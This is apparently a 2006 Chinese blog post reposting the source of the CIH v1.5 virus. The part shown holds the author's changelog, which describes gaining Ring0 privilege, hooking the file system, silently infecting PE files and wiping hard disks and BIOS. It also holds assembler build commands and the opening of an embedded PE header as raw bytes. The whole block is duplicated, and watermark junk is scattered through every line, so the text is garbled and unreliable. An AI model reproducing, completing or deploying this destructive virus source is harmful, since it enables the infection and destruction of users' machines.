渴望漂泊的人惟一不飘的是那颗心.
CIH v1.5病毒源
上一篇 / 下一篇 2006-09-10 01:01:16 / 天气: 晴朗 / 心情: 高兴 / 个人分类:汇编编程
****************************************************************************★黑基空间★ S%N7nG
Q$R'L
; * The Virus Program Information *★黑基空间★(C l6FW aXp$`
; ****************************************************************************
h*`2U!Tx5fcqs0; * *
0aBmOC i0; * Designer : CIH Source : TTIT of TATUNG in Taiwan *★黑基空间★4i"Mm%fTH0e\ L,~
; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net *★黑基空间★&Vt th9B)x3bUd}*|
; * Modification Time : 06/01/1998 Version : 1.5 *
|:ON7S;J3C`/A0; * *★黑基空间★b&hE H%BJX
; * Turbo Assembler Version 5.0 : Tasm /m cih *
C/N9g#h9Mgcn0; * Turbo link Version 5.01 : Tlink /3 /t cih, cih.exe *
7p0LMfU|$\4D0; * *
W\^ zV-A[9i0; *==========================================================================*
Z5`}%BW4V]0; * Modification History *
EmK fY8h$y0; *==========================================================================*
~-i+D7~q,p#O B0; * v1.0 1. Create the Virus Program. *★黑基空间★V0dnF(om8K-g D
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
l^W@q5um0; * 04/26/1998 3. Virus Code doesn't Reload into System. *
-Y+{P}'kf"Y9[N0; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
2~ g a^&C){&AI0; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
;L/y3Gl,N3h0; * 6. When System Opens Existing PE File, the File will be *★黑基空间★s |'T3YTkL
; * Infected, and the File doesn't be Reinfected. *★黑基空间★$@ `QL0k"^/wRL
; * 7. It is also Infected, even the File is Read-Only. *
%@!f,@*h^ h%f|.h7y0; * 8. When the File is Infected, the Modification Date and Time *
1kC/T s&o5u/w0; * of the File also don't be Changed. *
:mO3_U,E0; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *★黑基空间★!DY s-[6W0Cx(p6E!i]
; * Previous FileSystemApiHook, it will Call the Function *
b g Zp/\7l1H0; * that the IFS Manager Would Normally Call to Implement *
|-i J2q+@sV:uW.V0; * this Particular I/O Request. *★黑基空间★B{4}tku$h o
; * 10. The Virus Size is only 656 Bytes. *
8PoQ7bK0; *==========================================================================*★黑基空间★Hv1H$b(m9w
; * v1.1 1. Especially, the File that be Infected will not Increase *
)N:x4k?Zpkg0; * it's Size... ^__^ *★黑基空间★ Q;tI+~bI$s6D2t}
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *★黑基空间★ |;Z;n"~RsgE
; * When Exception Error Occurs, Our OS System should be in *★黑基空间★/r]Y1p@rx w:T
; * Windows NT. So My Cute Virus will not Continue to Run, *★黑基空间★ X*E3C7Sl2]H^
; * it will Jmup to Original Application to Run. *
)PX Y7\YL0; * 3. Use Better Algorithm, Reduce Virus Code Size. *★黑基空间★8e'c-KDS#x C
; * 4. The Virus "Basic" Size is only 796 Bytes. *
+W4{Z"BB!Ql3`.A0; *==========================================================================*
]`]zZ!tG0; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
,nEzQ |1n"|7k;d7A0; * 2. Modify the Bug of v1.1 *
?5O)f#ww(^^9a0; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *★黑基空间★)?c Fv!RAP(N
; *==========================================================================*
h9axSi5u&K0; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
4o)VSO/G PtP/j0; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
y9r6b:K.ON"b0; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
8BI?%J'w7PmG#{sj0; *==========================================================================*★黑基空间★5q!Yb'q9X%jM
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *★黑基空间★x2Qo zNTNx @ T
; * 2. Change the Date of Killing Computers. *★黑基空间★c5U8t*s5k*D*Ql
; * 05/31/1998 3. Modify Virus Version Copyright. *
RJ&S-aw2Q1Pt0; * 4. The Virus "Basic" Size is 1019 Bytes. *
G2J+B5_%D%q)Y`0; ****************************************************************************
{R.F9_bn0N1U0; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port *★黑基空间★7C)YT0HB9Jt
; * 2. Modify Virus Version Copyright. *
.B d"IOGb0; * 06/01/1998 3. Clear Garbage in Source Code. *
)IZn/wjig,| J0; * 4. The Virus "Small" Size in 10xx Bytes. *★黑基空间★SgSs9I&K]}8S3s
; ****************************************************************************
?Z `#YU$W0
vs0X Y)k9a#F0 .586★黑基空间★Ek4`Pva\&W
3X2tY c[p3V E0; ****************************************************************************
(Ti{7e%Pn-z(o0; * Original PE Executable File(Don't Modify this Section) *★黑基空间★c$n2M[SB.v9v1d3Q W
; ****************************************************************************
m*d va;Jfe0★黑基空间★ s%XXA4N!ot
OriginalAppEXE SEGMENT
C@(]kr}n~|NU+n0★黑基空间★3\"jE)i~%I:|B
FileHeader:
%`:Rdmdd|;y{0 db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
;Yo.o/ua#?'_"r0 db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h★黑基空间★uI7^lj PY$c
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
}i N G*Yp+i6j0 db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★,YHl{L/Le4w
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
s8Y7G:N x&aN0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
SPtsJV:a&w0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★LK(ga@e
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h★黑基空间★2{Cpj6L0Q
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh★黑基空间★i.Lr&Lk|)u2|zOW
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h★黑基空间★+f7ZJ8\ e)R3ky~(r
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
j6iK+~vx0 db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
P \dKj/A H Z0 db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh★黑基空间★"Fs\S(m
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h★黑基空间★#rz@ Y8Q
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah★黑基空间★gN u;B2TVPJ]
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★5\ _k#v6i AwhA
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h★黑基空间★;uxfM,iU4u
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h★黑基空间★ s6O G[`~b,D$hR R
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
8| pQbIMH0q0 db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h★黑基空间★k(C c;J;NW0_(P
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★ L^;E7p{/c)@;v0DMV
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
[p#t$E7yUWA2j9z0 db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h★黑基空间★X.My%A~m
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h★黑基空间★9K i&X3yU*P9`
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★N\;Ls4u:U)H
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★D cr)Z+c
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h★黑基空间★4q*Q"r.S*_4yo
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
-\r2}h4O0 db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h★黑基空间★T jE|-Mq2I"VI
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h★黑基空间★0A8s9m(`J4j/^1Q
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
CT6nw1s2]6L2Zo k0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★P_/w7` z.d6d)]"i&R~
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
UO DI_0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
[_4PIF4l0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
@+v/e c%^0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
1C9g[3~9q8j7JN0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
"n3w twX;U/{0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
SvkIx/Lm,Y0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★8y DoE2I8|7p:T+p9K
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
0V5n7r1b7K'zv"D5?0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
e#H2i\)W`wb:l0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★TN3`uQ~
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
'x]p&S)Zr/_%Iu0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★iv dZt'{"Wa&x
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
t+G'scm4J3D0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★.wp$J$b!UFL b
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
%@z4H X6yX0 db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h★黑基空间★&CV2\ U:uAJ-j
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
c4E*ZDs9N4{&_7y
; * The Virus Program Information *★黑基空间★(C l6FW aXp$`
; ****************************************************************************
h*`2U!Tx5fcqs0; * *
0aBmOC i0; * Designer : CIH Source : TTIT of TATUNG in Taiwan *★黑基空间★4i"Mm%fTH0e\ L,~
; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net *★黑基空间★&Vt th9B)x3bUd}*|
; * Modification Time : 06/01/1998 Version : 1.5 *
|:ON7S;J3C`/A0; * *★黑基空间★b&hE H%BJX
; * Turbo Assembler Version 5.0 : Tasm /m cih *
C/N9g#h9Mgcn0; * Turbo link Version 5.01 : Tlink /3 /t cih, cih.exe *
7p0LMfU|$\4D0; * *
W\^ zV-A[9i0; *==========================================================================*
Z5`}%BW4V]0; * Modification History *
EmK fY8h$y0; *==========================================================================*
~-i+D7~q,p#O B0; * v1.0 1. Create the Virus Program. *★黑基空间★V0dnF(om8K-g D
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
l^W@q5um0; * 04/26/1998 3. Virus Code doesn't Reload into System. *
-Y+{P}'kf"Y9[N0; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
2~ g a^&C){&AI0; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
;L/y3Gl,N3h0; * 6. When System Opens Existing PE File, the File will be *★黑基空间★s |'T3YTkL
; * Infected, and the File doesn't be Reinfected. *★黑基空间★$@ `QL0k"^/wRL
; * 7. It is also Infected, even the File is Read-Only. *
%@!f,@*h^ h%f|.h7y0; * 8. When the File is Infected, the Modification Date and Time *
1kC/T s&o5u/w0; * of the File also don't be Changed. *
:mO3_U,E0; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *★黑基空间★!DY s-[6W0Cx(p6E!i]
; * Previous FileSystemApiHook, it will Call the Function *
b g Zp/\7l1H0; * that the IFS Manager Would Normally Call to Implement *
|-i J2q+@sV:uW.V0; * this Particular I/O Request. *★黑基空间★B{4}tku$h o
; * 10. The Virus Size is only 656 Bytes. *
8PoQ7bK0; *==========================================================================*★黑基空间★Hv1H$b(m9w
; * v1.1 1. Especially, the File that be Infected will not Increase *
)N:x4k?Zpkg0; * it's Size... ^__^ *★黑基空间★ Q;tI+~bI$s6D2t}
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *★黑基空间★ |;Z;n"~RsgE
; * When Exception Error Occurs, Our OS System should be in *★黑基空间★/r]Y1p@rx w:T
; * Windows NT. So My Cute Virus will not Continue to Run, *★黑基空间★ X*E3C7Sl2]H^
; * it will Jmup to Original Application to Run. *
)PX Y7\YL0; * 3. Use Better Algorithm, Reduce Virus Code Size. *★黑基空间★8e'c-KDS#x C
; * 4. The Virus "Basic" Size is only 796 Bytes. *
+W4{Z"BB!Ql3`.A0; *==========================================================================*
]`]zZ!tG0; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
,nEzQ |1n"|7k;d7A0; * 2. Modify the Bug of v1.1 *
?5O)f#ww(^^9a0; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *★黑基空间★)?c Fv!RAP(N
; *==========================================================================*
h9axSi5u&K0; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
4o)VSO/G PtP/j0; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
y9r6b:K.ON"b0; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
8BI?%J'w7PmG#{sj0; *==========================================================================*★黑基空间★5q!Yb'q9X%jM
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *★黑基空间★x2Qo zNTNx @ T
; * 2. Change the Date of Killing Computers. *★黑基空间★c5U8t*s5k*D*Ql
; * 05/31/1998 3. Modify Virus Version Copyright. *
RJ&S-aw2Q1Pt0; * 4. The Virus "Basic" Size is 1019 Bytes. *
G2J+B5_%D%q)Y`0; ****************************************************************************
{R.F9_bn0N1U0; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port *★黑基空间★7C)YT0HB9Jt
; * 2. Modify Virus Version Copyright. *
.B d"IOGb0; * 06/01/1998 3. Clear Garbage in Source Code. *
)IZn/wjig,| J0; * 4. The Virus "Small" Size in 10xx Bytes. *★黑基空间★SgSs9I&K]}8S3s
; ****************************************************************************
?Z `#YU$W0
vs0X Y)k9a#F0 .586★黑基空间★Ek4`Pva\&W
3X2tY c[p3V E0; ****************************************************************************
(Ti{7e%Pn-z(o0; * Original PE Executable File(Don't Modify this Section) *★黑基空间★c$n2M[SB.v9v1d3Q W
; ****************************************************************************
m*d va;Jfe0★黑基空间★ s%XXA4N!ot
OriginalAppEXE SEGMENT
C@(]kr}n~|NU+n0★黑基空间★3\"jE)i~%I:|B
FileHeader:
%`:Rdmdd|;y{0 db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
;Yo.o/ua#?'_"r0 db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h★黑基空间★uI7^lj PY$c
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
}i N G*Yp+i6j0 db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★,YHl{L/Le4w
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
s8Y7G:N x&aN0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
SPtsJV:a&w0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★LK(ga@e
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h★黑基空间★2{Cpj6L0Q
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh★黑基空间★i.Lr&Lk|)u2|zOW
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h★黑基空间★+f7ZJ8\ e)R3ky~(r
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
j6iK+~vx0 db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
P \dKj/A H Z0 db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh★黑基空间★"Fs\S(m
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h★黑基空间★#rz@ Y8Q
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah★黑基空间★gN u;B2TVPJ]
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★5\ _k#v6i AwhA
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h★黑基空间★;uxfM,iU4u
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h★黑基空间★ s6O G[`~b,D$hR R
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
8| pQbIMH0q0 db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h★黑基空间★k(C c;J;NW0_(P
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★ L^;E7p{/c)@;v0DMV
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
[p#t$E7yUWA2j9z0 db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h★黑基空间★X.My%A~m
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h★黑基空间★9K i&X3yU*P9`
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★N\;Ls4u:U)H
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★D cr)Z+c
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h★黑基空间★4q*Q"r.S*_4yo
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
-\r2}h4O0 db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h★黑基空间★T jE|-Mq2I"VI
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h★黑基空间★0A8s9m(`J4j/^1Q
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
CT6nw1s2]6L2Zo k0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★P_/w7` z.d6d)]"i&R~
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
UO DI_0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
[_4PIF4l0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
@+v/e c%^0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
1C9g[3~9q8j7JN0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
"n3w twX;U/{0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
SvkIx/Lm,Y0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★8y DoE2I8|7p:T+p9K
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
0V5n7r1b7K'zv"D5?0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
e#H2i\)W`wb:l0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★TN3`uQ~
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
'x]p&S)Zr/_%Iu0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★iv dZt'{"Wa&x
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
t+G'scm4J3D0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h★黑基空间★.wp$J$b!UFL b
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
%@z4H X6yX0 db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h★黑基空间★&CV2\ U:uAJ-j
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
c4E*ZDs9N4{&_7y